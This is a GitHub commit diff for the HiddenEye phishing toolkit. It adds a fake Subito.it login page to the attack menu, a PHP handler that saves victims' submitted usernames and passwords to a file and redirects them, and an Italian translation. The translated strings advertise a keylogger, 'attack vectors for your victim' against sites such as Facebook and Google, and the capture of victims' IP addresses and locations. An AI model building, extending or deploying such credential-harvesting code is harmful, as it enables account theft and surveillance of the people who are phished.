Merge pull request #413 from Moltivie/master

- Added Subito Login Page
- Added Italian language
This commit is contained in:
AnonUD4Y 2019-10-27 04:17:58 +00:00 committed by GitHub
commit 4bdc51021e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
8 changed files with 856 additions and 2 deletions

6
.gitignore vendored
View File

@ -10,3 +10,9 @@ Server
Settings\.ini Settings\.ini
ngrok\.url ngrok\.url
# Local Moltivie's virtual env
env
# Ignore vscode folder
.vscode

View File

@ -122,6 +122,8 @@ def runPhishing(page , customOption): #Phishing pages selection menu
copy_tree("WebPages/Reddit/", "Server/www/") copy_tree("WebPages/Reddit/", "Server/www/")
elif customOption == '2' and page == 'Reddit': elif customOption == '2' and page == 'Reddit':
copy_tree("WebPages/Reddit-old/", "Server/www/") copy_tree("WebPages/Reddit-old/", "Server/www/")
elif page == 'Subitoit':
copy_tree("WebPages/subitoit/", "Server/www/")
else: else:
endMessage() endMessage()
@ -302,9 +304,8 @@ def mainMenu():
print (_(" {0}[{1}5{0}]{1} StackOverflow {0}[{1}14{0}]{1} VK {0}[{1}23{0}]{1} PornHub {0}[{1}32{0}]{1} Shopify").format(MAIN0, MAIN2)) print (_(" {0}[{1}5{0}]{1} StackOverflow {0}[{1}14{0}]{1} VK {0}[{1}23{0}]{1} PornHub {0}[{1}32{0}]{1} Shopify").format(MAIN0, MAIN2))
print (_(" {0}[{1}6{0}]{1} WordPress {0}[{1}15{0}]{1} iCloud {0}[{1}24{0}]{1} Adobe {0}[{1}33{0}]{1} Verizon").format(MAIN0, MAIN2)) print (_(" {0}[{1}6{0}]{1} WordPress {0}[{1}15{0}]{1} iCloud {0}[{1}24{0}]{1} Adobe {0}[{1}33{0}]{1} Verizon").format(MAIN0, MAIN2))
print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab {0}[{1}25{0}]{1} Badoo {0}[{1}34{0}]{1} Yandex").format(MAIN0, MAIN2)) print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab {0}[{1}25{0}]{1} Badoo {0}[{1}34{0}]{1} Yandex").format(MAIN0, MAIN2))
print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix {0}[{1}26{0}]{1} CryptoCurrency {0}[{1}35{0}]{1} Reddit").format(MAIN0, MAIN2)) print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix {0}[{1}26{0}]{1} CryptoCurrency {0}[{1}35{0}]{1} Reddit").format(MAIN0, MAIN2))
print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin {0}[{1}27{0}]{1} DevianArt ").format(MAIN0, MAIN2)) print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin {0}[{1}27{0}]{1} DevianArt {0}[{1}36{0}]{1} SUbito.it").format(MAIN0, MAIN2))
option = input(_("{0}HiddenEye >>> {1}").format(MAIN0, MAIN2)) option = input(_("{0}HiddenEye >>> {1}").format(MAIN0, MAIN2))
if option == '1': if option == '1':
loadModule('Facebook') loadModule('Facebook')
@ -446,6 +447,10 @@ def mainMenu():
loadModule('Reddit') loadModule('Reddit')
customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} New reddit page\n {0}[{1}2{0}]{1} Old reddit page\n{0}HiddenEye >>> {2}").format(MAIN0, MAIN2, MAIN2)) customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} New reddit page\n {0}[{1}2{0}]{1} Old reddit page\n{0}HiddenEye >>> {2}").format(MAIN0, MAIN2, MAIN2))
runPhishing('Reddit', customOption) runPhishing('Reddit', customOption)
elif option == '36':
loadModule('Subitoit')
customOption = ''
runPhishing('Subitoit', customOption)
else: else:
endMessage() endMessage()

View File

@ -24,6 +24,9 @@ def langEnglish():
en = gettext.translation('hiddeneye',localedir='./locale', languages=['en']) en = gettext.translation('hiddeneye',localedir='./locale', languages=['en'])
en.install() en.install()
def langItalian():
it = gettext.translation('hiddeneye',localedir='./locale', languages=['it'])
it.install()
def checkAndSetLanguage(): def checkAndSetLanguage():
language = readConfig().get("Settings", "Language") language = readConfig().get("Settings", "Language")
@ -36,6 +39,8 @@ def checkAndSetLanguage():
langUkrainian() langUkrainian()
elif language == "es": elif language == "es":
langSpanish() langSpanish()
elif language == "it":
langItalian()
else: else:
langEnglish() langEnglish()
@ -52,5 +57,7 @@ def languageSelector():
langUkrainian() langUkrainian()
elif arg in["es", "spain", "spanish", "es_ES"]: elif arg in["es", "spain", "spanish", "es_ES"]:
langSpanish() langSpanish()
elif arg in["it", "italia", "italiano", "it_IT"]:
langItalian()
else: else:
exit exit

0
HiddenEye.py Normal file → Executable file
View File

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,6 @@
<?php
include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();

Binary file not shown.

View File

@ -0,0 +1,502 @@
msgid ""
msgstr ""
"Project-Id-Version: hiddeneye\n"
"POT-Creation-Date: 2019-10-25 15:03+0200\n"
"PO-Revision-Date: 2019-10-25 15:28+0200\n"
"Last-Translator: Moltivie <major2015usa@gmail.com>\n"
"Language-Team: \n"
"Language: it_IT\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 2.2.4\n"
"X-Poedit-Basepath: ../../../Defs\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-SearchPath-0: .\n"
#: Actions.py:77
#, python-brace-format
msgid ""
"\n"
" {0}Please select any available server:{1}"
msgstr ""
"\n"
" {0}Seleziona un server disponibile:{1}"
#: Actions.py:78
#, python-brace-format
msgid ""
"\n"
" {0}[{1}1{0}]{1} Ngrok\n"
" {0}[{1}2{0}]{1} Serveo"
msgstr ""
"\n"
" {0}[{1}1{0}]{1} Ngrok\n"
" {0}[{1}2{0}]{1} Serveo"
#: Actions.py:122
#, python-brace-format
msgid ""
"\n"
"\n"
"\n"
"{1}"
"<=============================================================================>\n"
" || "
"||\n"
" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ "
"███████ {1}||\n"
" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ "
"██ {1}||\n"
" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ "
"███████ {1}||\n"
" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ "
"██ {1}||\n"
" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ "
"███████ {1}||\n"
" || "
"||\n"
" -----------------------------------------------------------------------------\n"
" v{3}0{1}.{3}1{1}.{3}"
"0{1} BY:DARKSEC{2}\n"
" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n"
" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY "
"KEYSTROKE ]\n"
"<=============================================================================>\n"
" "
msgstr ""
"\n"
"\n"
"\n"
"{1}"
"<=============================================================================>\n"
" || "
"||\n"
" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ "
"███████ {1}||\n"
" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ "
"██ {1}||\n"
" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ "
"███████ {1}||\n"
" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ "
"██ {1}||\n"
" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ "
"███████ {1}||\n"
" || "
"||\n"
" -----------------------------------------------------------------------------\n"
" v{3}0{1}.{3}1{1}.{3}"
"0{1} BY:DARKSEC{2}\n"
" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n"
" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY "
"KEYSTROKE ]\n"
"<=============================================================================>\n"
" "
#: Actions.py:145
msgid "[PHP INSTALLATION FOUND]"
msgstr "[INSTALLAZIONE PHP TROVATA]"
#: Actions.py:148
#, python-brace-format
msgid ""
" --{0}>{1} PHP NOT FOUND: \n"
" {0}*{1} Please install PHP and run me again.http://www.php.net/"
msgstr ""
" --{0}>{1} PHP NON TROVATO: \n"
" {0}*{1} Si prega di installare PHP. Dopodiché rieseguimi.http://www.php.net/"
#: Actions.py:153
#, python-brace-format
msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%"
msgstr "{0}[{1}*{0}]{1} HiddenEye sta caricando. Attendere...{2}%"
#: Actions.py:157
#, python-brace-format
msgid ""
"\n"
"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? "
"({2}y{1}/{0}n{1})\n"
"{2}HiddenEye >>> {1}"
msgstr ""
"\n"
"{2}[{1}!{2}]{1} Accetti di utilizzare questo strumento solo a fini "
"educativi? ({2}y{1}/{0}n{1})\n"
"{2}HiddenEye >>> {1}"
#: Actions.py:159
#, python-brace-format
msgid ""
"\n"
"\n"
"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR "
"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n"
"\n"
msgstr ""
"\n"
"\n"
"[ {0}NON SEI AUTORIZZATO A UTILIZZARE QUESTO STRUMENTO. PUOI SOLAMENTE "
"UTILIZZARLO A SCOPI EDUCATIVI. GRAZIE.{1} ]\n"
"\n"
#: Actions.py:161
#, python-brace-format
msgid ""
"\n"
"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n"
"\n"
" {0}[{1}1{0}]{1} Facebook\n"
"\n"
" {0}[{1}2{0}]{1} Google\n"
"\n"
" {0}[{1}3{0}]{1} LinkedIn\n"
"\n"
" {0}[{1}4{0}]{1} GitHub\n"
"\n"
" {0}[{1}5{0}]{1} StackOverflow\n"
"\n"
" {0}[{1}6{0}]{1} WordPress\n"
"\n"
" {0}[{1}7{0}]{1} Twitter\n"
"\n"
" {0}[{1}8{0}]{1} Instagram\n"
"\n"
" {0}[{1}9{0}]{1} Snapchat\n"
"\n"
" {0}[{1}10{0}]{1} Yahoo\n"
"\n"
" {0}[{1}11{0}]{1} Twitch\n"
"\n"
" {0}[{1}12{0}]{1} Microsoft\n"
"\n"
" {0}[{1}13{0}]{1} Steam\n"
"\n"
" {0}[{1}14{0}]{1} VK\n"
"\n"
" {0}[{1}15{0}]{1} iCloud\n"
"\n"
"{0}HiddenEye >>> {1}"
msgstr ""
"\n"
"SELEZIONA UN TIPO DI ATTACCO ALLA VITTIMA:\n"
"\n"
" {0}[{1}1{0}]{1} Facebook\n"
"\n"
" {0}[{1}2{0}]{1} Google\n"
"\n"
" {0}[{1}3{0}]{1} LinkedIn\n"
"\n"
" {0}[{1}4{0}]{1} GitHub\n"
"\n"
" {0}[{1}5{0}]{1} StackOverflow\n"
"\n"
" {0}[{1}6{0}]{1} WordPress\n"
"\n"
" {0}[{1}7{0}]{1} Twitter\n"
"\n"
" {0}[{1}8{0}]{1} Instagram\n"
"\n"
" {0}[{1}9{0}]{1} Snapchat\n"
"\n"
" {0}[{1}10{0}]{1} Yahoo\n"
"\n"
" {0}[{1}11{0}]{1} Twitch\n"
"\n"
" {0}[{1}12{0}]{1} Microsoft\n"
"\n"
" {0}[{1}13{0}]{1} Steam\n"
"\n"
" {0}[{1}14{0}]{1} VK\n"
"\n"
" {0}[{1}15{0}]{1} iCloud\n"
"\n"
"{0}HiddenEye >>> {1}"
#: Actions.py:164
#, python-brace-format
msgid ""
"\n"
"Operation mode:\n"
"\n"
" {0}[{1}1{0}]{1} Standard Page Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/"
"login_with)\n"
"\n"
" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n"
"\n"
" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n"
"\n"
"{0}HiddenEye >>> {1}"
msgstr ""
"\n"
"Operazione:\n"
"\n"
" {0}[{1}1{0}]{1} Pagina Phishing predefinita\n"
"\n"
" {0}[{1}2{0}]{1} Metodo avanzato Phishing-Pool Ranking(modalità pool/"
"accedi_a)\n"
"\n"
" {0}[{1}3{0}]{1} Facebook Phishing - Problematiche di sicurezza "
"false(modalità_sicurezza) \n"
"\n"
" {0}[{1}4{0}]{1} Facebook Phishing-Messenger "
"Credenziali(modalità_messenger) \n"
"\n"
"{0}HiddenEye >>> {1}"
#: Actions.py:168
#, python-brace-format
msgid ""
"\n"
"Operation mode:\n"
"\n"
" {0}[{1}1{0}]{1} Standard Page Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n"
"\n"
" {0}[{1}3{0}]{1} New Google Web\n"
"\n"
"{0}HiddenEye >>> {1}"
msgstr ""
"\n"
"Operazione:\n"
"\n"
" {0}[{1}1{0}]{1} Pagina Phishing Predefinita\n"
"\n"
" {0}[{1}2{0}]{1} Metodo avanzato Phishing-Pool Ranking(modalità pool/"
"accedi_a)\n"
"\n"
" {0}[{1}3{0}]{1} \"New\" Google Web\n"
"\n"
"{0}HiddenEye >>> {1}"
#: Actions.py:192
#, python-brace-format
msgid ""
"\n"
"Operation mode:\n"
"\n"
" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to "
"original autoliker)\n"
"\n"
"{0}HiddenEye >>> {1}"
msgstr ""
"\n"
"Operazione:\n"
"\n"
" {0}[{1}1{0}]{1} Instagram Pagina Web Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Instagram Autoliker Phising (Dopo l'invio si verrà "
"reindirizzati all'autoliker vero e proprio)\n"
"\n"
"{0}HiddenEye >>> {1}"
#: Actions.py:216
#, python-brace-format
msgid ""
"\n"
"Operation mode:\n"
"\n"
" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n"
"\n"
"{0}HiddenEye >>> {1}"
msgstr ""
"\n"
"Operazione:\n"
"\n"
" {0}[{1}1{0}]{1} VK Pagina Web Phishing\n"
"\n"
" {0}[{1}2{0}]{1} Phishing Avanzato (modalità pool/accedi_a)\n"
"\n"
"{0}HiddenEye >>> {1}"
#: Actions.py:226
#, python-brace-format
msgid ""
" {0}\n"
" [{1}*{0}] module loaded. Building site...{0}"
msgstr ""
" {0}\n"
" [{1}*{0}] Modulo caricato. Costruendo il sito...{0}"
#: Actions.py:230
msgid ""
"\n"
" (Choose Wisely As Your Victim Will Redirect to This Link)"
msgstr ""
"\n"
" (Scegliere accuratamente poiché la vittima verrà reindirizzata a questo "
"link)"
#: Actions.py:231
msgid ""
"\n"
" (Leave Blank To Loop The Phishing Page)"
msgstr ""
"\n"
" (Lasciare vuoto per ciclare la pagina Phishing)"
#: Actions.py:232
#, python-brace-format
msgid ""
"\n"
" {0}Insert a custom redirect url:"
msgstr ""
"\n"
" {0}Inserisci un url a tua scelta su cui reindirizzare:"
#: Actions.py:233
#, python-brace-format
msgid ""
"\n"
" {0}CUSTOM URL>>> {1}"
msgstr ""
"\n"
" {0}URL A SCELTA >>> {1}"
#: Actions.py:264
#, python-brace-format
msgid ""
"\n"
" {1}_....~~~~=====~~~~...._\n"
" .'========={3}/----=\\{1}=========>\n"
" /:========={3}/-----====\\{1}\n"
" |=========={3}|-----======|{1}==========>\n"
" \\:========={3}\\---======/{1}\n"
" \\=========={3}\\=====/{1}==========>\n"
" ````~~~~=======~~~~````\n"
"\n"
" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n"
" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n"
" {3}https://github.com/DarkSecDevelopers/HiddenEye "
msgstr ""
"\n"
" {1}_....~~~~=====~~~~...._\n"
" .'========={3}/----=\\{1}=========>\n"
" /:========={3}/-----====\\{1}\n"
" |=========={3}|-----======|{1}==========>\n"
" \\:========={3}\\---======/{1}\n"
" \\=========={3}\\=====/{1}==========>\n"
" ````~~~~=======~~~~````\n"
"\n"
" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n"
" {0}GRAZIE PER AVERLO UTILIZZATO. AIUTAMI A RENDERLO PIÙ EFFICACE\n"
" {3}https://github.com/DarkSecDevelopers/HiddenEye "
#: Actions.py:281
#, python-brace-format
msgid ""
"{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n"
msgstr ""
"{0}[{1}*{0}]{1} Aspettando le credenziali//Keystrokes//Informazioni sul "
"device della vittima. \n"
#: Actions.py:287
#, python-brace-format
msgid ""
" {0}[ CREDENTIALS FOUND ]{1}:\n"
" {0}{2}{1}"
msgstr ""
" {0}[ CREDENZIALI TROVATE ]{1}:\n"
" {0}{2}{1}"
#: Actions.py:302
#, python-brace-format
msgid ""
" \n"
"{0}[ VICTIM IP BONUS ]{1}:\n"
" {0}{2}{1}"
msgstr ""
" \n"
"{0}[ BONUS INDIRIZZO IP VITTIMA ]{1}:\n"
" {0}{2}{1}"
#: Actions.py:308
#, python-brace-format
msgid ""
" \n"
"{0}[ VICTIM INFO FOUND ]{1}:\n"
" {0}{2}{1}"
msgstr ""
" \n"
"{0}[ INFORMAZIONI VITTIMA TROVATE ]{1}:\n"
" {0}{2}{1}"
#: Actions.py:309
#, python-brace-format
msgid ""
" \n"
"{0}Longitude: {2} \n"
"Latitude: {3}{1}"
msgstr ""
" \n"
"{0}Longitudine: {2} \n"
"Latitudine: {3}{1}"
#: Actions.py:310
#, python-brace-format
msgid ""
" \n"
"{0}ISP: {2} \n"
"Country: {3}{1}"
msgstr ""
" \n"
"{0}ISP: {2} \n"
"Stato: {3}{1}"
#: Actions.py:311
#, python-brace-format
msgid ""
" \n"
"{0}Region: {2} \n"
"City: {3}{1}"
msgstr ""
" \n"
"{0}Regione: {2} \n"
"Città: {3}{1}"
#: Actions.py:321
#, python-format, python-brace-format
msgid ""
" {0}[ GETTING PRESSED KEYS ]{1}:\n"
" {0}%s{1}"
msgstr ""
" {0}[ RICEVENDO TASTI PREMUTI ]{1}:\n"
" {0}%s{1}"
#: Checks.py:18
#, python-brace-format
msgid "{0}Successful connection!{1}"
msgstr "{0}Connessione riuscita!{1}"
#: Checks.py:24
#, python-brace-format
msgid ""
"{1}\n"
" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n"
" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n"
" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n"
"\n"
" {0}[{1}!{0}]{1} Network error. Verify your connection.\n"
"\n"
msgstr ""
"{1}\n"
" _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}\n"
" |__| | ] | ] | |__ |\\ | {0}|__ \\__/ |__{1}\n"
" | | | ]__| ]__| |__ | \\| {0}|__ || |__{1}\n"
"\n"
" {0}[{1}!{0}]{1} Errore Network. Verifica la tua "
"connessione.\n"
"\n"
#: Checks.py:35
msgid "[*] Downloading Ngrok..."
msgstr "[*] Scaricando Ngrok..."
#~ msgid "Victim Public IP: (.*?)\n"
#~ msgstr "Victim Public IP: (.*?)\n"